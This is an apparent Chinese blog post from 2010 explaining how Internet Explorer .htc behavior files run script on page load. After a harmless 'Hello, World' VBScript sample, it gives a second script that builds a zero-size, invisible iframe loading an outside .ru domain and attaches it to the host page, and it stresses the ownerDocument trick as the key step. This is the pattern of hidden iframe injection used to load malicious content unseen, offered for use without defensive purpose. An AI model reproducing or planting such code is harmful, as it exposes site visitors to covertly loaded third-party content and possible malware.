一、利用htc文件来加载iframe。
百度百科里对htc文件的解释为:从5.5版本开始,Internet Explorer(IE)开始支持Web 行为的概念。这些行为是由后缀名为.htc的脚本文件描述的,它们定义了一套方法和属性,程序员几乎可以把这些方法和属性应用到HTML页面上的任何元素 上去。Web 行为是非常伟大的因为它们允许程序员把自定义的功能“连接”到现有的元素和控件,而不是必须让用户下载二进制文件(例如ActiveX 控件)来完成这个功能。Web 行为还是推荐的扩展IE对象模型和控件集的方法。微软在它的开发者站点上的DHTML 行为库栏目里提供了几个定制的Web行为。

<attach event="ondocumentready" ONEVENT="Hello()" />
<script language="VBScript">
Function Hello()
MsgBox "Hello, World!"
End Function
</script>
保存为hello.htc

我们再来写一个1.htm来调用,代码:
<html>
<body style="behavior: url(hello.htc)">
</body>
</html>
保存为1.htm
我们把hello.htc和1.htm放在同一个目录下,执行1.htm就会成功弹出一个hello world对话框。

附在其他浏览器中调用的框架代码:

<attach event="ondocumentready" ONEVENT="hello()" />
<script>
function hello()
{
var O = document.createElement("iframe");
O.width = '0';
O.height = '0';
O.src="http://2smt.org.ru";
ownerDocument.body.appendChild(O); //这里用的是ownerDocument,重点就在这里。
}
</script>

posted on 2010-07-06 23:47  蓝牙  阅读(193)  评论(0编辑  收藏  举报